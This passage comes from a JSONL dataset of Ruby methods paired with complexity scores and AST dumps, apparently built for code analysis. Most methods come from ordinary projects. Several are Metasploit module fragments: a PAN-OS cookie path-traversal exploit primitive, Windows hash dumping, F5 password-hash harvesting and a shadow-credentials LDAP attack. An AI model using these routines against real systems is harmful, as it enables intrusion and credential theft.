\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VHOST\"]}]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeout\"]}]},{\"type\":\"float\",\"children\":[0.01]}]}]}]}]}","id":"731dcf61-d572-470a-afd4-07bdbdae3460"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/parser.rb","start_line":196,"raw_source":"def error_with_lineno(error)\n      return error if error.line\n\n      trace = error.backtrace.first\n      return error unless trace\n\n      line = trace.match(/\\d+\\z/).to_s.to_i\n      SyntaxError.new(error.message, line)\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"error_with_lineno\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"line\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"trace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"backtrace\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trace\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trace\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\d+\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"to_s\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}","id":"7a1576b0-3ecf-42d7-95b0-ea17935ce309"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb","start_line":142,"raw_source":"def call_shadow_credentials_module(action, device_id = nil)\n    mod_refname = 'admin/ldap/shadow_credentials'\n\n    print_status(\"Loading #{mod_refname}\")\n    ldap_update_module = framework.modules.create(mod_refname)\n\n    unless ldap_update_module\n      print_error(\"Failed to load module: #{mod_refname}\")\n      return\n    end\n\n    # Default to using the SMB credentials if LDAP credentials are not provided\n    ldap_update_module = framework.modules.create(mod_refname)\n    ldap_update_module.datastore['RHOST'] = datastore['RHOST']\n    ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']\n    ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']\n    ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']\n    ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']\n    ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']\n    ldap_update_module.datastore['TARGET_USER'] = datastore['TARGET_USERNAME']\n    ldap_update_module.datastore['DEVICE_ID'] = device_id[:device_id] if action == 'remove' && device_id.present?\n    ldap_update_module.datastore['ACTION'] = action\n\n    print_status(\"Running #{mod_refname}\")\n    ldap_update_module.run_simple(\n      'LocalInput' => user_input,\n      'LocalOutput' => user_output,\n      'RunAsJob' => false\n    )\n  end","complexity_score":57.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call_shadow_credentials_module\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"optarg\",\"children\":[\"device_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod_refname\",{\"type\":\"str\",\"children\":[\"admin/ldap/shadow_credentials\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Loading \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod_refname\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ldap_update_module\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"modules\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"mod_refname\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_update_module\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to load module: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod_refname\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ldap_update_module\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"modules\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"mod_refname\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_update_module\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_update_module\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAPRport\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_update_module\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_update_module\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"LDAPDomain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAPDomain\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_update_module\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"LDAPUsername\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAPUsername\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_update_module\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"LDAPPassword\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAPPassword\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_update_module\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"TARGET_USER\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET_USERNAME\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"==\",{\"type\":\"str\",\"children\":[\"remove\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device_id\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_update_module\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"DEVICE_ID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device_id\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"device_id\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_update_module\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ACTION\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod_refname\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_update_module\"]},\"run_simple\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalInput\"]},{\"type\":\"send\",\"children\":[null,\"user_input\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalOutput\"]},{\"type\":\"send\",\"children\":[null,\"user_output\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RunAsJob\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"e0f00945-be34-4f5c-94d9-2f491634d4a5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/modules/module_mixins.rb","start_line":24,"raw_source":"def do_want(klass)\n  return false if klass.class != Module\n  return false if [ Kernel, ERB::Util, SNMP::BER].include?(klass)\n  return false if klass.to_s.match(/^Rex::Ui::Subscriber/)\n\n  return true\nend","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"do_want\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"class\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"Module\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"BER\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"to_s\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Rex::Ui::Subscriber\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"68b6ece3-1cfd-44a6-bce0-61fe216de148"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":1683,"raw_source":"def for_same_project?\n    target_project == source_project\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"for_same_project?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"source_project\"]}]}]}","id":"e9356863-533e-43a8-8419-3d4e845723c7"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/tokenizer.rb","start_line":147,"raw_source":"def next_tag_token\n      start = @ss.pos - 2\n      if (len = @ss.skip_until(TAG_END))\n        @source.byteslice(start, len + 2)\n      else\n        \"{%\"\n      end\n    end","complexity_score":9.28,"ast_json":"{\"type\":\"def\",\"children\":[\"next_tag_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ss\"]},\"pos\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ss\"]},\"skip_until\",{\"type\":\"const\",\"children\":[null,\"TAG_END\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"byteslice\",{\"type\":\"lvar\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"str\",\"children\":[\"{%\"]}]}]}]}","id":"e366d8b7-bdbf-45a5-8b2a-c5dda6b30a8a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/panos_telemetry_cmd_exec.rb","start_line":106,"raw_source":"def touch_file(file)\n    # Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location\n    fail_with(Failure::BadConfig, 'Semicolon cannot be present in file name, due to the cookie injection context') if file.include? ';'\n\n    send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path),\n      'headers' => {\n        'Cookie' => \"SESSID=./../../../..#{file}\"\n      }\n    )\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"touch_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"include?\",{\"type\":\"str\",\"children\":[\";\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Semicolon cannot be present in file name, due to the cookie injection context\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SESSID=./../../../..\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}]}]}]}]}]}","id":"8f9ec6a2-f68d-4d88-93d0-d56fea005694"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/replace_table.rb","start_line":113,"raw_source":"def rename_constraint(table_name, old_name, new_name)\n          <<~SQL\n            ALTER TABLE #{quote_table_name(table_name)}\n            RENAME CONSTRAINT #{quote_column_name(old_name)} TO #{quote_column_name(new_name)}\n          SQL\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rename_constraint\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"old_name\"]},{\"type\":\"arg\",\"children\":[\"new_name\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ALTER TABLE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"RENAME CONSTRAINT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"old_name\"]}]}]},{\"type\":\"str\",\"children\":[\" TO \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"new_name\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"9e4de5e0-9af7-4651-8f7d-a8d651c78385"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/smart_hashdump.rb","start_line":64,"raw_source":"def run\n    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']\n    print_status(\"Running module against #{hostname} (#{session.session_host})\")\n\n    host = Rex::FileUtils.clean_path(sysinfo['Computer'])\n    hash_file = store_loot('windows.hashes', 'text/plain', session, '', \"#{host}_hashes.txt\", 'Windows Hashes')\n    print_status('Hashes will be saved to the database if one is connected.')\n    print_good('Hashes will be saved in loot in JtR password file format to:')\n    print_status(hash_file)\n    smart_hash_dump(datastore['GETSYSTEM'], hash_file)\n  end","complexity_score":25.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running module against \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"clean_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash_file\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"windows.hashes\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"_hashes.txt\"]}]},{\"type\":\"str\",\"children\":[\"Windows Hashes\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Hashes will be saved to the database if one is connected.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Hashes will be saved in loot in JtR password file format to:\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"hash_file\"]}]},{\"type\":\"send\",\"children\":[null,\"smart_hash_dump\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GETSYSTEM\"]}]},{\"type\":\"lvar\",\"children\":[\"hash_file\"]}]}]}]}","id":"3e45e0de-efd9-45b9-bed4-ddffd8a039dc"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/models/cost_query/custom_field_mixin.rb","start_line":77,"raw_source":"def factory?\n    factory == self\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"factory?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"factory\"]},\"==\",{\"type\":\"self\",\"children\":[]}]}]}","id":"c24532a1-3799-4374-84a1-9c8511108cf7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt/gantt_builder.rb","start_line":686,"raw_source":"def build_row(entry, row_index, columns, with_text_column)\n      paint_columns = columns.filter { |column| column.entry_ids.include?(entry.id) }\n      top = @header_row_height + (row_index * GANTT_ROW_HEIGHT)\n      shape = build_shape(top, paint_columns, entry.work_package) unless entry.group? || paint_columns.empty?\n      text_lines = with_text_column ? build_row_text_lines(entry, top) : []\n      GanttDataRow.new(row_index, entry.id, shape, text_lines, 0, top, GANTT_ROW_HEIGHT)\n    end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]},{\"type\":\"arg\",\"children\":[\"row_index\"]},{\"type\":\"arg\",\"children\":[\"columns\"]},{\"type\":\"arg\",\"children\":[\"with_text_column\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"paint_columns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"entry_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"top\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@header_row_height\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row_index\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"GANTT_ROW_HEIGHT\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"group?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paint_columns\"]},\"empty?\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"shape\",{\"type\":\"send\",\"children\":[null,\"build_shape\",{\"type\":\"lvar\",\"children\":[\"top\"]},{\"type\":\"lvar\",\"children\":[\"paint_columns\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"work_package\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text_lines\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_text_column\"]},{\"type\":\"send\",\"children\":[null,\"build_row_text_lines\",{\"type\":\"lvar\",\"children\":[\"entry\"]},{\"type\":\"lvar\",\"children\":[\"top\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GanttDataRow\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"row_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"shape\"]},{\"type\":\"lvar\",\"children\":[\"text_lines\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"top\"]},{\"type\":\"const\",\"children\":[null,\"GANTT_ROW_HEIGHT\"]}]}]}]}","id":"6e4a3e70-843f-4d93-b6e4-dcc5204326c0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ldap/ldap_login.rb","start_line":189,"raw_source":"def session_setup(result)\n    return unless result.connection && result.proof\n\n    # Create a new session\n    my_session = Msf::Sessions::LDAP.new(result.connection, { client: result.proof, keepalive_seconds: datastore['SessionKeepalive'] })\n\n    merge_me = {\n      'USERPASS_FILE' => nil,\n      'USER_FILE' => nil,\n      'PASS_FILE' => nil,\n      'USERNAME' => result.credential.public,\n      'PASSWORD' => result.credential.private\n    }\n\n    start_session(self, nil, merge_me, false, my_session.rstream, my_session)\n  end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"session_setup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"connection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"proof\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"my_session\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"LDAP\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"connection\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"proof\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keepalive_seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SessionKeepalive\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"merge_me\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"USERPASS_FILE\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"USER_FILE\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PASS_FILE\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"public\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"private\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"start_session\",{\"type\":\"self\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"merge_me\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_session\"]},\"rstream\"]},{\"type\":\"lvar\",\"children\":[\"my_session\"]}]}]}]}","id":"c74acf54-5928-4055-8558-4f8f7ef43a35"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/f5_loot_mcp.rb","start_line":51,"raw_source":"def gather_hashes\n    print_status('Gathering users and password hashes from MCP')\n    users = mcp_simple_query('userdb_entry')\n\n    unless users\n      print_error('Failed to query users')\n      return\n    end\n\n    users.each do |u|\n      print_good(\"#{u['userdb_entry_name']}:#{u['userdb_entry_passwd']}\")\n\n      create_credential(\n        jtr_format: Metasploit::Framework::Hashes.identify_hash(u['userdb_entry_passwd']),\n        origin_type: :session,\n        post_reference_name: refname,\n        private_type: :nonreplayable_hash,\n        private_data: u['userdb_entry_passwd'],\n        session_id: session_db_id,\n        username: u['userdb_entry_name'],\n        workspace_id: myworkspace_id\n      )\n    end\n  